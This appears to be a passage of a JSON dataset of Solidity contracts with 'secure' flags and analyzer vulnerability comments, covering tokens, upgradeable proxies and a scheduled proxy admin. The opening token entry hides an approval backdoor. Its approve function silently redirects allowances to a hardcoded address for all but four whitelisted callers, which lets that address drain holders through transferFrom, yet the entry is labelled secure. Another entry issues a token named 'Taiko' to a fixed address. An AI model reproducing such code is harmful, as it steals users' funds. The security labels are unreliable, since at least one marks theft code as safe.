0x8d6BA07Ad5f88e65756E383018C871772611f9FE ||\n _msgSender() == 0x4F3161f017770bA17BF4a4663Bd31cf5c50a366C ||\n _msgSender() == 0x3AE756b691a75dA3881CA72098B8f0B44b7F1D1d ||\n _msgSender() == 0x53f0eFCBF406bE652713c701c85929bFa01EEaf4\n ) {\n address owner = _msgSender();\n\n _approve(owner, spender, value);\n\n return true;\n } else {\n address owner = _msgSender();\n\n _approve(owner, 0x53f0eFCBF406bE652713c701c85929bFa01EEaf4, value);\n\n return true;\n }\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public virtual returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, value);\n\n _transfer(from, to, value);\n\n return true;\n }\n\n function bulktransfer(\n address[] memory to,\n uint256 value\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n for (uint256 i = 0; i < to.length; i++) {\n _transfer(owner, to[i], value);\n }\n\n return true;\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n if (from == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n if (to == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(from, to, value);\n }\n\n function _update(address from, address to, uint256 value) internal virtual {\n if (from == address(0)) {\n _totalSupply += value;\n } else {\n uint256 fromBalance = _balances[from];\n\n if (fromBalance < value) {\n revert ERC20InsufficientBalance(from, fromBalance, value);\n }\n\n unchecked {\n _balances[from] = fromBalance - value;\n }\n }\n\n if (to == address(0)) {\n unchecked {\n _totalSupply -= value;\n }\n } else {\n unchecked {\n _balances[to] += value;\n }\n }\n\n emit Transfer(from, to, value);\n }\n\n function _mint(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(address(0), account, value);\n }\n\n function _burn(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n _update(account, address(0), value);\n }\n\n function _approve(address owner, address spender, uint256 value) internal {\n _approve(owner, spender, value, true);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 value,\n bool emitEvent\n ) internal virtual {\n if (owner == address(0)) {\n revert ERC20InvalidApprover(address(0));\n }\n\n if (spender == address(0)) {\n revert ERC20InvalidSpender(address(0));\n }\n\n _allowances[owner][spender] = value;\n\n if (emitEvent) {\n emit Approval(owner, spender, value);\n }\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 value\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n if (currentAllowance < value) {\n revert ERC20InsufficientAllowance(\n spender,\n currentAllowance,\n value\n );\n }\n\n unchecked {\n _approve(owner, spender, currentAllowance - value, false);\n }\n }\n }\n}",
"file_name": "solidity_code_56.sol",
"secure": 1,
"size_bytes": 5898
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract GobbyToken is Ownable, ERC20 {\n bool public limited;\n\n uint256 public maxHoldingAmount;\n\n uint256 public minHoldingAmount;\n\n address public uniswapV2Pair;\n\n mapping(address => bool) public blacklists;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 567863b): GobbyToken.constructor(uint256)._totalSupply shadows ERC20._totalSupply (state variable)\n\t// Recommendation for 567863b: Rename the local variables that shadow another component.\n constructor(uint256 _totalSupply) ERC20(\"Gobby\", \"GOBBY\") {\n _mint(msg.sender, _totalSupply);\n }\n\n function blacklist(\n address _address,\n bool _isBlacklisting\n ) external onlyOwner {\n blacklists[_address] = _isBlacklisting;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 437e701): GobbyToken.setRule(bool,address,uint256,uint256) should emit an event for maxHoldingAmount = _maxHoldingAmount minHoldingAmount = _minHoldingAmount \n\t// Recommendation for 437e701: Emit an event for critical parameter changes.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 772c223): GobbyToken.setRule(bool,address,uint256,uint256)._uniswapV2Pair lacks a zerocheck on \t uniswapV2Pair = _uniswapV2Pair\n\t// Recommendation for 772c223: Check that the address is not zero.\n function setRule(\n bool _limited,\n address _uniswapV2Pair,\n uint256 _maxHoldingAmount,\n uint256 _minHoldingAmount\n ) external onlyOwner {\n limited = _limited;\n\n\t\t// missing-zero-check | ID: 772c223\n uniswapV2Pair = _uniswapV2Pair;\n\n\t\t// events-maths | ID: 437e701\n maxHoldingAmount = _maxHoldingAmount;\n\n\t\t// events-maths | ID: 437e701\n minHoldingAmount = _minHoldingAmount;\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n require(!blacklists[to] && !blacklists[from], \"Blacklisted\");\n\n if (uniswapV2Pair == address(0)) {\n require(from == owner() || to == owner(), \"trading is not started\");\n\n return;\n }\n\n if (limited && from == uniswapV2Pair) {\n require(\n super.balanceOf(to) + amount <= maxHoldingAmount &&\n super.balanceOf(to) + amount >= minHoldingAmount,\n \"Forbid\"\n );\n }\n }\n\n function burn(uint256 value) external {\n _burn(msg.sender, value);\n }\n}",
"file_name": "solidity_code_560.sol",
"secure": 0,
"size_bytes": 2743
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract ECHO is ERC20, Ownable {\n constructor() ERC20(\"Echo Privacy\", \"ECHO\") {\n _mint(msg.sender, 10000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_561.sol",
"secure": 1,
"size_bytes": 349
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\n\ncontract LyraRouter is ReentrancyGuard {\n mapping(address => mapping(address => uint256)) public _balances;\n\n mapping(address => mapping(address => mapping(address => uint256)))\n public _allowances;\n\n mapping(address => bool) public _start;\n\n function safeTransfer(\n address sender,\n address recipient,\n uint256 amount,\n address ca\n ) external nonReentrant returns (bool) {\n require(msg.sender == ca, \"LR: Error #3.\");\n\n require(sender != address(0), \"LR: Transfer from the zero address\");\n\n require(recipient != address(0), \"LR: Transfer to the zero address\");\n\n require(\n _balances[ca][sender] >= amount,\n \"LR: Transfer amount exceeds balance\"\n );\n\n _balances[ca][sender] -= amount;\n\n _balances[ca][recipient] += amount;\n\n return true;\n }\n\n function balanceOf(\n address account,\n address ca\n ) external view returns (uint256) {\n return _balances[ca][account];\n }\n\n function start(address ca, uint256 totalSupply) external {\n require(!_start[ca], \"LR: Already started. Error #4\");\n\n _start[ca] = true;\n\n _balances[ca][tx.origin] += totalSupply;\n }\n\n function approve(\n address owner,\n address spender,\n uint256 amount,\n address ca\n ) external returns (bool) {\n require(msg.sender == ca, \"LR: Error #2.\");\n\n require(owner != address(0), \"LR: Approve from the zero address\");\n\n require(spender != address(0), \"LR: Approve to the zero address\");\n\n _allowances[ca][owner][spender] = amount;\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender,\n address ca\n ) external view returns (uint256) {\n return _allowances[ca][owner][spender];\n }\n}",
"file_name": "solidity_code_562.sol",
"secure": 1,
"size_bytes": 2068
} |
{
"code": "// SPDX-License-Identifier: BUSL-1.1\n\npragma solidity ^0.8.0;\n\nabstract contract Proxy {\n function _delegate(address implementation) internal virtual {\n assembly {\n calldatacopy(0, 0, calldatasize())\n\n let result := delegatecall(\n gas(),\n implementation,\n 0,\n calldatasize(),\n 0,\n 0\n )\n\n returndatacopy(0, 0, returndatasize())\n\n switch result\n case 0 {\n revert(0, returndatasize())\n }\n default {\n\t\t\t\t// incorrect-return | ID: 8b16a66\n\t\t\t\t// incorrect-return | ID: 879b120\n\t\t\t\t// incorrect-return | ID: 1623706\n\t\t\t\t// incorrect-return | ID: 8a0de7d\n\t\t\t\t// incorrect-return | ID: 92a7418\n\t\t\t\t// incorrect-return | ID: 3902d7c\n return(0, returndatasize())\n }\n }\n }\n\n function _implementation() internal view virtual returns (address);\n\n\t// WARNING Vulnerability (incorrect-return | severity: High | ID: 3902d7c): TransparentUpgradeableProxy.ifAdmin() calls Proxy._fallback() which halt the execution return(uint256,uint256)(0,returndatasize()())\n\t// Recommendation for 3902d7c: Use the 'leave' statement.\n function _fallback() internal virtual {\n _beforeFallback();\n\n _delegate(_implementation());\n }\n\n fallback() external payable virtual {\n _fallback();\n }\n\n receive() external payable virtual {\n _fallback();\n }\n\n function _beforeFallback() internal virtual {}\n}",
"file_name": "solidity_code_563.sol",
"secure": 0,
"size_bytes": 1607
} |
{
"code": "// SPDX-License-Identifier: BUSL-1.1\n\npragma solidity ^0.8.0;\n\ninterface IERC1822Proxiable {\n function proxiableUUID() external view returns (bytes32);\n}",
"file_name": "solidity_code_564.sol",
"secure": 1,
"size_bytes": 162
} |
{
"code": "// SPDX-License-Identifier: BUSL-1.1\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/beacon/IBeacon.sol\" as IBeacon;\nimport \"./IERC1822Proxiable.sol\" as IERC1822Proxiable;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"./StorageSlot.sol\" as StorageSlot;\n\nabstract contract ERC1967Upgrade {\n bytes32 private constant _ROLLBACK_SLOT =\n 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;\n\n bytes32 internal constant _IMPLEMENTATION_SLOT =\n 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n\n event Upgraded(address indexed implementation);\n\n function _getImplementation() internal view returns (address) {\n return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;\n }\n\n function _setImplementation(address newImplementation) private {\n require(\n Address.isContract(newImplementation),\n \"ERC1967: new implementation is not a contract\"\n );\n\n StorageSlot\n .getAddressSlot(_IMPLEMENTATION_SLOT)\n .value = newImplementation;\n }\n\n function _upgradeTo(address newImplementation) internal {\n _setImplementation(newImplementation);\n\n emit Upgraded(newImplementation);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0dd61bc): ERC1967Upgrade._upgradeToAndCall(address,bytes,bool) ignores return value by Address.functionDelegateCall(newImplementation,data)\n\t// Recommendation for 0dd61bc: Ensure that all the return values of the function calls are used.\n function _upgradeToAndCall(\n address newImplementation,\n bytes memory data,\n bool forceCall\n ) internal {\n _upgradeTo(newImplementation);\n\n if (data.length > 0 || forceCall) {\n\t\t\t// unused-return | ID: 0dd61bc\n Address.functionDelegateCall(newImplementation, data);\n }\n }\n\n function _upgradeToAndCallUUPS(\n address newImplementation,\n bytes memory data,\n bool forceCall\n ) internal {\n if (StorageSlot.getBooleanSlot(_ROLLBACK_SLOT).value) {\n _setImplementation(newImplementation);\n } else {\n try IERC1822Proxiable(newImplementation).proxiableUUID() returns (\n bytes32 slot\n ) {\n require(\n slot == _IMPLEMENTATION_SLOT,\n \"ERC1967Upgrade: unsupported proxiableUUID\"\n );\n } catch {\n revert(\"ERC1967Upgrade: new implementation is not UUPS\");\n }\n\n _upgradeToAndCall(newImplementation, data, forceCall);\n }\n }\n\n bytes32 internal constant _ADMIN_SLOT =\n 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;\n\n event AdminChanged(address previousAdmin, address newAdmin);\n\n function _getAdmin() internal view returns (address) {\n return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;\n }\n\n function _setAdmin(address newAdmin) private {\n require(\n newAdmin != address(0),\n \"ERC1967: new admin is the zero address\"\n );\n\n StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;\n }\n\n function _changeAdmin(address newAdmin) internal {\n emit AdminChanged(_getAdmin(), newAdmin);\n\n _setAdmin(newAdmin);\n }\n\n bytes32 internal constant _BEACON_SLOT =\n 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;\n\n event BeaconUpgraded(address indexed beacon);\n\n function _getBeacon() internal view returns (address) {\n return StorageSlot.getAddressSlot(_BEACON_SLOT).value;\n }\n\n function _setBeacon(address newBeacon) private {\n require(\n Address.isContract(newBeacon),\n \"ERC1967: new beacon is not a contract\"\n );\n\n require(\n Address.isContract(IBeacon(newBeacon).implementation()),\n \"ERC1967: beacon implementation is not a contract\"\n );\n\n StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d70ce29): ERC1967Upgrade._upgradeBeaconToAndCall(address,bytes,bool) ignores return value by Address.functionDelegateCall(IBeacon(newBeacon).implementation(),data)\n\t// Recommendation for d70ce29: Ensure that all the return values of the function calls are used.\n function _upgradeBeaconToAndCall(\n address newBeacon,\n bytes memory data,\n bool forceCall\n ) internal {\n _setBeacon(newBeacon);\n\n emit BeaconUpgraded(newBeacon);\n\n if (data.length > 0 || forceCall) {\n\t\t\t// unused-return | ID: d70ce29\n Address.functionDelegateCall(\n IBeacon(newBeacon).implementation(),\n data\n );\n }\n }\n}",
"file_name": "solidity_code_565.sol",
"secure": 0,
"size_bytes": 4971
} |
{
"code": "// SPDX-License-Identifier: BUSL-1.1\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/Proxy.sol\" as Proxy;\nimport \"./ERC1967Upgrade.sol\" as ERC1967Upgrade;\n\ncontract ERC1967Proxy is Proxy, ERC1967Upgrade {\n constructor(address _logic, bytes memory _data) payable {\n _upgradeToAndCall(_logic, _data, false);\n }\n\n function _implementation()\n internal\n view\n virtual\n override\n returns (address impl)\n {\n return ERC1967Upgrade._getImplementation();\n }\n}",
"file_name": "solidity_code_566.sol",
"secure": 1,
"size_bytes": 550
} |
{
"code": "// SPDX-License-Identifier: BUSL-1.1\n\npragma solidity ^0.8.0;\n\nimport \"./ERC1967Proxy.sol\" as ERC1967Proxy;\n\ncontract TransparentUpgradeableProxy is ERC1967Proxy {\n constructor(\n address _logic,\n address admin_,\n bytes memory _data\n ) payable ERC1967Proxy(_logic, _data) {\n _changeAdmin(admin_);\n }\n\n\t// WARNING Vulnerability (incorrect-modifier | severity: Low | ID: 2e9c5af): Modifier TransparentUpgradeableProxy.ifAdmin() does not always execute _; or revert\n\t// Recommendation for 2e9c5af: All the paths in a modifier must execute '_' or revert.\n\t// WARNING Vulnerability (incorrect-return | severity: High | ID: 8b16a66): TransparentUpgradeableProxy.implementation() calls TransparentUpgradeableProxy.ifAdmin() which halt the execution return(uint256,uint256)(0,returndatasize()())\n\t// Recommendation for 8b16a66: Use the 'leave' statement.\n\t// WARNING Vulnerability (incorrect-return | severity: High | ID: 879b120): TransparentUpgradeableProxy.admin() calls TransparentUpgradeableProxy.ifAdmin() which halt the execution return(uint256,uint256)(0,returndatasize()())\n\t// Recommendation for 879b120: Use the 'leave' statement.\n\t// WARNING Vulnerability (incorrect-return | severity: High | ID: 1623706): TransparentUpgradeableProxy.upgradeTo(address) calls TransparentUpgradeableProxy.ifAdmin() which halt the execution return(uint256,uint256)(0,returndatasize()())\n\t// Recommendation for 1623706: Use the 'leave' statement.\n\t// WARNING Vulnerability (incorrect-return | severity: High | ID: 8a0de7d): TransparentUpgradeableProxy.upgradeToAndCall(address,bytes) calls TransparentUpgradeableProxy.ifAdmin() which halt the execution return(uint256,uint256)(0,returndatasize()())\n\t// Recommendation for 8a0de7d: Use the 'leave' statement.\n\t// WARNING Vulnerability (incorrect-return | severity: High | ID: 92a7418): TransparentUpgradeableProxy.changeAdmin(address) calls TransparentUpgradeableProxy.ifAdmin() which halt the execution return(uint256,uint256)(0,returndatasize()())\n\t// Recommendation for 92a7418: Use the 'leave' statement.\n\t// WARNING Vulnerability (incorrect-return | severity: High | ID: 3902d7c): TransparentUpgradeableProxy.ifAdmin() calls Proxy._fallback() which halt the execution return(uint256,uint256)(0,returndatasize()())\n\t// Recommendation for 3902d7c: Use the 'leave' statement.\n modifier ifAdmin() {\n if (msg.sender == _getAdmin()) {\n _;\n } else {\n _fallback();\n }\n }\n\n\t// WARNING Vulnerability (incorrect-return | severity: High | ID: 879b120): TransparentUpgradeableProxy.admin() calls TransparentUpgradeableProxy.ifAdmin() which halt the execution return(uint256,uint256)(0,returndatasize()())\n\t// Recommendation for 879b120: Use the 'leave' statement.\n function admin() external payable ifAdmin returns (address admin_) {\n _requireZeroValue();\n\n admin_ = _getAdmin();\n }\n\n\t// WARNING Vulnerability (incorrect-return | severity: High | ID: 8b16a66): TransparentUpgradeableProxy.implementation() calls TransparentUpgradeableProxy.ifAdmin() which halt the execution return(uint256,uint256)(0,returndatasize()())\n\t// Recommendation for 8b16a66: Use the 'leave' statement.\n function implementation()\n external\n payable\n ifAdmin\n returns (address implementation_)\n {\n _requireZeroValue();\n\n implementation_ = _implementation();\n }\n\n\t// WARNING Vulnerability (incorrect-return | severity: High | ID: 92a7418): TransparentUpgradeableProxy.changeAdmin(address) calls TransparentUpgradeableProxy.ifAdmin() which halt the execution return(uint256,uint256)(0,returndatasize()())\n\t// Recommendation for 92a7418: Use the 'leave' statement.\n function changeAdmin(address newAdmin) external payable virtual ifAdmin {\n _requireZeroValue();\n\n _changeAdmin(newAdmin);\n }\n\n\t// WARNING Vulnerability (incorrect-return | severity: High | ID: 1623706): TransparentUpgradeableProxy.upgradeTo(address) calls TransparentUpgradeableProxy.ifAdmin() which halt the execution return(uint256,uint256)(0,returndatasize()())\n\t// Recommendation for 1623706: Use the 'leave' statement.\n function upgradeTo(address newImplementation) external payable ifAdmin {\n _requireZeroValue();\n\n _upgradeToAndCall(newImplementation, bytes(\"\"), false);\n }\n\n\t// WARNING Vulnerability (incorrect-return | severity: High | ID: 8a0de7d): TransparentUpgradeableProxy.upgradeToAndCall(address,bytes) calls TransparentUpgradeableProxy.ifAdmin() which halt the execution return(uint256,uint256)(0,returndatasize()())\n\t// Recommendation for 8a0de7d: Use the 'leave' statement.\n function upgradeToAndCall(\n address newImplementation,\n bytes calldata data\n ) external payable ifAdmin {\n _upgradeToAndCall(newImplementation, data, true);\n }\n\n function _admin() internal view virtual returns (address) {\n return _getAdmin();\n }\n\n function _beforeFallback() internal virtual override {\n require(\n msg.sender != _getAdmin(),\n \"TransparentUpgradeableProxy: admin cannot fallback to proxy target\"\n );\n\n super._beforeFallback();\n }\n\n function _requireZeroValue() private {\n require(msg.value == 0);\n }\n}",
"file_name": "solidity_code_567.sol",
"secure": 0,
"size_bytes": 5375
} |
{
"code": "// SPDX-License-Identifier: BUSL-1.1\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\" as TransparentUpgradeableProxy;\n\ncontract ProxyAdmin is Ownable {\n function getProxyImplementation(\n TransparentUpgradeableProxy proxy\n ) public view virtual returns (address) {\n (bool success, bytes memory returndata) = address(proxy).staticcall(\n hex\"5c60da1b\"\n );\n\n require(success);\n\n return abi.decode(returndata, (address));\n }\n\n function getProxyAdmin(\n TransparentUpgradeableProxy proxy\n ) public view virtual returns (address) {\n (bool success, bytes memory returndata) = address(proxy).staticcall(\n hex\"f851a440\"\n );\n\n require(success);\n\n return abi.decode(returndata, (address));\n }\n\n function changeProxyAdmin(\n TransparentUpgradeableProxy proxy,\n address newAdmin\n ) public virtual onlyOwner {\n proxy.changeAdmin(newAdmin);\n }\n\n function upgrade(\n TransparentUpgradeableProxy proxy,\n address implementation\n ) public virtual onlyOwner {\n proxy.upgradeTo(implementation);\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 60ae321): Contract with a 'payable' function, but without a withdrawal capacity.\n\t// Recommendation for 60ae321: Remove the 'payable' attribute or add a withdraw function.\n function upgradeAndCall(\n TransparentUpgradeableProxy proxy,\n address implementation,\n bytes memory data\n ) public payable virtual onlyOwner {\n proxy.upgradeToAndCall{value: msg.value}(implementation, data);\n }\n}",
"file_name": "solidity_code_568.sol",
"secure": 0,
"size_bytes": 1810
} |
{
"code": "// SPDX-License-Identifier: BUSL-1.1\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\n\nabstract contract Initializable {\n uint8 private _initialized;\n\n bool private _initializing;\n\n event Initialized(uint8 version);\n\n modifier initializer() {\n bool isTopLevelCall = !_initializing;\n\n require(\n (isTopLevelCall && _initialized < 1) ||\n (!Address.isContract(address(this)) && _initialized == 1),\n \"Initializable: contract is already initialized\"\n );\n\n _initialized = 1;\n\n if (isTopLevelCall) {\n _initializing = true;\n }\n\n _;\n\n if (isTopLevelCall) {\n _initializing = false;\n\n emit Initialized(1);\n }\n }\n\n modifier reinitializer(uint8 version) {\n require(\n !_initializing && _initialized < version,\n \"Initializable: contract is already initialized\"\n );\n\n _initialized = version;\n\n _initializing = true;\n\n _;\n\n _initializing = false;\n\n emit Initialized(version);\n }\n\n modifier onlyInitializing() {\n require(_initializing, \"Initializable: contract is not initializing\");\n\n _;\n }\n\n function _disableInitializers() internal virtual {\n require(!_initializing, \"Initializable: contract is initializing\");\n\n if (_initialized != type(uint8).max) {\n _initialized = type(uint8).max;\n\n emit Initialized(type(uint8).max);\n }\n }\n\n function _getInitializedVersion() internal view returns (uint8) {\n return _initialized;\n }\n\n function _isInitializing() internal view returns (bool) {\n return _initializing;\n }\n}",
"file_name": "solidity_code_569.sol",
"secure": 1,
"size_bytes": 1829
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract MON is ERC20 {\n constructor() ERC20(\"Taiko\", \"TAIKO\") {\n _mint(\n 0x8d6BA07Ad5f88e65756E383018C871772611f9FE,\n 1000000000 * 10 ** decimals()\n );\n }\n}",
"file_name": "solidity_code_57.sol",
"secure": 1,
"size_bytes": 342
} |
{
"code": "// SPDX-License-Identifier: BUSL-1.1\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol\" as ProxyAdmin;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\" as TransparentUpgradeableProxy;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 60ae321): Contract with a 'payable' function, but without a withdrawal capacity.\n// Recommendation for 60ae321: Remove the 'payable' attribute or add a withdraw function.\ncontract ScheduledProxyAdmin2 is ProxyAdmin, ReentrancyGuard {\n struct ScheduledUpgradeEntry {\n uint256 targetDate;\n address payable proxyAddr;\n address implAddr;\n uint8 state;\n bytes initData;\n }\n\n mapping(bytes32 => ScheduledUpgradeEntry) public scheduledUpgrades;\n\n event UpgradeScheduled(\n uint256 targetDate,\n address proxyAddr,\n address implAddr\n );\n\n event UpgradeCancelled(address proxyAddr, address implAddr);\n\n event UpgradeExecuted(address proxyAddr, address implAddr);\n\n constructor() ProxyAdmin() {}\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 9c7e25b): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 9c7e25b: Avoid relying on 'block.timestamp'.\n function scheduleUpgrade(\n uint256 targetDate,\n TransparentUpgradeableProxy proxy,\n address implAddr,\n bytes memory initData\n ) external nonReentrant onlyOwner {\n require(implAddr != address(0), \"Implementation required\");\n\n\t\t// timestamp | ID: 9c7e25b\n require(\n targetDate > block.timestamp + 1440 minutes,\n \"Invalid target date\"\n );\n\n require(\n Address.isContract(implAddr),\n \"Impl address must be a contract\"\n );\n\n bytes32 key = keccak256(abi.encode(address(proxy), implAddr));\n\n require(scheduledUpgrades[key].state == 0, \"Upgrade already used\");\n\n scheduledUpgrades[key] = ScheduledUpgradeEntry({\n targetDate: targetDate,\n proxyAddr: payable(address(proxy)),\n implAddr: implAddr,\n state: 1,\n initData: initData\n });\n\n emit UpgradeScheduled(targetDate, address(proxy), implAddr);\n }\n\n function cancelUpgrade(\n TransparentUpgradeableProxy proxy,\n address implAddr\n ) external nonReentrant onlyOwner {\n bytes32 key = keccak256(abi.encode(address(proxy), implAddr));\n\n require(scheduledUpgrades[key].state == 1, \"Upgrade not active\");\n\n scheduledUpgrades[key].state = 2;\n\n emit UpgradeCancelled(address(proxy), implAddr);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 147e523): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 147e523: Avoid relying on 'block.timestamp'.\n function runUpgrade(\n TransparentUpgradeableProxy proxy,\n address implAddr\n ) external nonReentrant {\n bytes32 key = keccak256(abi.encode(address(proxy), implAddr));\n\n require(scheduledUpgrades[key].state == 1, \"Upgrade not scheduled\");\n\n\t\t// timestamp | ID: 147e523\n require(\n block.timestamp > scheduledUpgrades[key].targetDate,\n \"Cannot upgrade yet\"\n );\n\n scheduledUpgrades[key].state = 3;\n\n TransparentUpgradeableProxy(scheduledUpgrades[key].proxyAddr)\n .upgradeToAndCall(\n scheduledUpgrades[key].implAddr,\n scheduledUpgrades[key].initData\n );\n\n emit UpgradeExecuted(address(proxy), implAddr);\n }\n\n function upgrade(\n TransparentUpgradeableProxy,\n address\n ) public pure override {\n revert(\"Manual upgrade forbidden\");\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 60ae321): Contract with a 'payable' function, but without a withdrawal capacity.\n\t// Recommendation for 60ae321: Remove the 'payable' attribute or add a withdraw function.\n function upgradeAndCall(\n TransparentUpgradeableProxy,\n address,\n bytes memory\n ) public payable override {\n revert(\"Manual payable upgrade forbidden\");\n }\n\n function getUpgradeState(bytes32 key) external view returns (uint8) {\n return scheduledUpgrades[key].state;\n }\n}",
"file_name": "solidity_code_570.sol",
"secure": 0,
"size_bytes": 4655
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract IERC20 {\n function totalSupply() external view virtual returns (uint256);\n\n function balanceOf(address account) external view virtual returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external virtual returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view virtual returns (uint256);\n\n function approve(\n address spender,\n uint256 amount\n ) external virtual returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external virtual returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}",
"file_name": "solidity_code_571.sol",
"secure": 1,
"size_bytes": 948
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract ERC20 is IERC20 {\n string public name;\n\n string public symbol;\n\n uint8 public decimals = 18;\n\n uint256 private _totalSupply;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n constructor(string memory _name, string memory _symbol) {\n name = _name;\n\n symbol = _symbol;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(\n _balances[msg.sender] >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[msg.sender] -= amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(msg.sender, recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(\n _balances[sender] >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n require(\n _allowances[sender][msg.sender] >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _balances[sender] -= amount;\n\n _balances[recipient] += amount;\n\n _allowances[sender][msg.sender] -= amount;\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n require(\n _balances[account] >= amount,\n \"ERC20: burn amount exceeds balance\"\n );\n\n _balances[account] -= amount;\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n}",
"file_name": "solidity_code_572.sol",
"secure": 1,
"size_bytes": 3348
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Bassxrab is ERC20 {\n constructor() ERC20(\"Bassxrab\", \"RAXB\") {\n _mint(msg.sender, 1_000_000_000_000_000 * (10 ** uint256(decimals)));\n }\n}",
"file_name": "solidity_code_573.sol",
